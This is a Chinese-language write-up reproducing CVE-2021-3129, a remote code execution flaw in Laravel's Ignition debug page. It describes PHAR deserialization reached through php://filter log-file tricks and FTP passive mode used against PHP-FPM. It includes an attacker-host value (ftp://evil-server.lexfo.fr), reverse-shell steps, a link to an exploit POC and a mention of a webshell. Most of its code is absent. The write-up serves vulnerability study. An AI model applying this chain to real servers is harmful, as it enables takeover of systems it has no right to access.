Laravel <= 8.4.2 Debug模式 _ignition 远程代码执行漏洞 CVE-2021-3129

漏洞描述

Laravel 是一个免费的开源 PHP Web 框架,旨在实现的Web软件的MVC架构。2021年1月13日,阿里云应急响应中心监控到国外某安全研究团队披露了 Laravel <= 8.4.2 存在远程代码执行漏洞。当Laravel开启了Debug模式时,由于Laravel自带的Ignition功能的某些接口存在过滤不严,攻击者可以发起恶意请求,通过构造恶意Log文件等方式触发Phar反序列化,从而造成远程代码执行,控制服务器。漏洞细节已在互联网公开。阿里云应急响应中心提醒 Laravel 用户尽快采取安全措施阻止漏洞攻击。

漏洞影响

Laravel 框架 < 8.4.3

facade ignition 组件 < 2.5.2

环境搭建

https://github.com/SNCKER/CVE-2021-3129.git
docker-compose up -d

点击生成密钥出现如下图即成功创建漏洞环境

漏洞复现

按照漏洞公开文章需要先有一个未知变量的错误,来点击 Make variable optional

按照官方手册创建路由和View模板

通过点击“Make variableOptional”按钮,模板变量则会被修改。如果检查HTTP日志,我们就会看到被调用的端点

通过这些solutions,开发者可以通过点击按钮的方式,快速修复一些错误。本次漏洞就是其中的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php过滤不严谨导致的。首先我们到执行solution的控制器当中去,看看是如何调用到solution的

接着调用solution对象中的run()方法,并将可控的parameters参数传过去。通过这个点我们可以调用到MakeViewVariableOptionalSolution::run()

可以看到这里主要功能点是:读取一个给定的路径,并替换$variableName$variableName ?? '',之后写回文件中。由于这里调用了file_get_contents(),且其中的参数可控,所以这里可以通过phar://协议去触发phar反序列化。如果后期利用框架进行开发的人员,写出了一个文件上传的功能。那么我们就可以上传一个恶意phar文件,利用上述的file_get_contents()去触发phar反序列化,达到rce的效果。

除了解决方案的类名之外,还发送了一个文件路径和一个我们要替换的变量名。这看起来非常让人感兴趣。

让我们先检查一下类名的利用方法:我们可以实例化任意的类吗?

答案是否定的:Ignition总是用我们指向的类来实现RunnableSolution

那么,让我们仔细看看这个类。实际上,负责该操作的代码位./vendor/facade/ignition/sr/solutions/MakeViewVariableOptionalSolution.php文件中。那么,我们可以更改任意文件的内容么?

这段代码比我们预想的要复杂一些:它会在读取给定的文件路径[1]后,将$variableName替换为$variableName ?? '',初始文件和新文件都将被标记化[2]。如果我们的代码结构没有发生超出预期的变化,文件将被替换为新的内容。否则,makeOptional将返回false[3],新文件将不会被写入。因此,我们无法使用variableName做太多事情。

剩下的唯一输入变量就是viewFile。如果我们对variableName和它的所有用法进行抽象,我们最终会得到下面的代码片段:

到目前为止,大家可能都听说过Orange Tsai演示的上传进度技术。该技术利用php://filter在返回文件之前修改其内容。借助于该技术,我们就可以通过漏洞利用原语来转换文件的内容

我们已经改变了文件的内容!遗憾的是,这将会应用两次转换。阅读文档后,我们找到了只进行一次转换的方法:

坏字符甚至都会被忽略:

默认情况下,Laravel的日志文件(存放PHP错误和堆栈跟踪)是存储在storage/log/laravel.log中的。下面,让我们通过尝试加载一个不存在的文件来生成一个错误, 即SOME_TEXT_OF_OUR_CHOICE:

我们可以向文件中注入(几乎)任意的内容了。理论上讲,我们可以使用Orange发明的技术将日志文件转换为有效的PHAR文件,然后,使用phar://包装器来运行序列化的代码。遗憾的是,这实际上是行不通的,并且原因有很多。

根据日期的不同,对前缀进行两次解码时,会得到不同大小的结果。当我们对它进行第三次解码时,在第二种情况下,我们的payload将以2作为前缀,从而需要改变base64消息的对齐方式。

为了使其正常运行,我们必须为每个目标建立一个新的payload,因为堆栈跟踪中包含绝对文件名;并且,每秒都需要建立一个新的payload,因为前缀中包含时间。并且,只要有一个字符=需要进行base64-decode处理,仍然会面临失败。

因此,我们回到PHP文档中寻找其他类型的过滤器。

遗憾的是,我们已经了解到,如果滥用base64-decode的话,可能会在某个时候失败。现在,让我们来利用这一点:如果我们滥用它,将发生解码错误,日志文件将被清除!这样,我们触发的下一个错误将单独存在于日志文件中:

现在,我们又回到了最初的问题上:保留一个payload并删除其余的。幸运的是,php://filter并不限于base64操作。例如,我们可以用它来转换字符集,下面是从UTF-16到UTF-8的转换:

我们的payload还在那里,安全无恙,只是前缀和后缀变成了非ASCII字符。然而,在日志条目中,我们的payload出现了两次,而不是一次。我们需要去掉第二个。

由于每个UTF-16字符占用两个字节,所以,我们可以通过在PAYLOAD的第二个实例的末尾增加一个字节,来使其无法对齐:

这样做的好处是,前缀的对齐方式不再重要:如果前缀大小相等,第一个payload将被正确解码;否则的话,第二个payload就会被正确解码。

如果将上面的发现与前面的base64-decoding结合起来,就能够对我们想要的任何东西进行编码:

说到对齐,如果日志文件本身不是2字节对齐的,转换过滤器将如何处理?

这又是一个问题。不过,我们可以借助两个payload来轻松地解决这个问题:一个是无害的payload A,另一个是具有攻击性的payload B,具体如下所示:

由于这里前缀、中缀和后缀都存在两份,还提供了payload_a和payload_b,所以,日志文件的大小必然是偶数,从而避免了错误的发生。

最后,我们还要解决最后一个问题:我们使用NULL字节将payload的字节从一个填充为两个。在PHP中试图加载一个带有NULL字节的文件时,会生成以下错误:

因此,我们将无法在错误日志中注入带有NULL字节的payload。幸运的是,最后一个过滤器可以帮到我们,它就是convert.quoted-printable-decode。

我们可以使用=00对NULL字节进行编码。

下面是我们最终的转换链:

创建一个PHPGGC payload,并对其进行编码:

清空日志

创建第一个日志条目,用于对齐:

创建带有payload日志条目:

通过我们的过滤器将日志文件转换为有效的PHAR:

启动PHAR的反序列化过程:

利用FTP与PHP-FPM进行交互

由于我们可以运行file_get_contents来查找任何东西,因此,可以通过发送HTTP请求来扫描常用端口。结果发现,PHP-FPM似乎正在侦听端口9000。

众所周知,如果我们能向PHP-FPM服务发送一个任意的二进制数据包,就可以在机器上执行代码。这种技术经常与gopher://协议结合使用,curl支持gopher://协议,但PHP却不支持。

另一个已知的允许通过TCP发送二进制数据包的协议是FTP,更准确的说是该协议的被动模式:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个特定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的一个端口,如果它愿意的话。

现在,如果我们尝试使用viewFile=ftp://evil-server.lexfo.fr/file.txt来利用这个漏洞,会发生以下情况:

file_get_contents()连接到我们的FTP服务器,并下载file.txt。

file_put_contents()连接到我们的FTP服务器,并将其上传回file.txt。

您可能已经知道这是怎么回事:我们将使用FTP协议的被动模式让file_get_contents()在我们的服务器上下载一个文件,当它试图使用file_put_contents()把它上传回去时,我们将告诉它把文件发送到127.0.0.1:9000。

这样,我们就可以向PHP-FPM发送一个任意的数据包,从而执行代码。

利用这种方法,在我们的目标上成功地利用了该漏洞。

下面我们来演示一下攻击过程。

首先,我们使用gopherus生成攻击fastcgi的payload:

得到payload,而我们需要的是上面payload中 _后面的数据部分,即:

将数据添加到如下FTP脚本中的payload(脚本在文章末尾和 POC目录中)

监听刚刚的反弹shell端口并运行 FTP脚本

发送请求反弹shell

使用Docker环境无法复现,需要搭建另一个环境

漏洞利用POC

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP/blob/main/laravel-CVE-2021-3129-EXP.py

根据路径密码使用哥斯拉连接木马

FTP脚本

参考文章

米斯特团队|漏洞分析 | Laravel Debug页面RCE(CVE-2021-3129)分析复现

陌陌安全|FTP利用|LARAVEL的那个RCE最有趣的点在这里

原作者漏洞分析

Last updated

Was this helpful?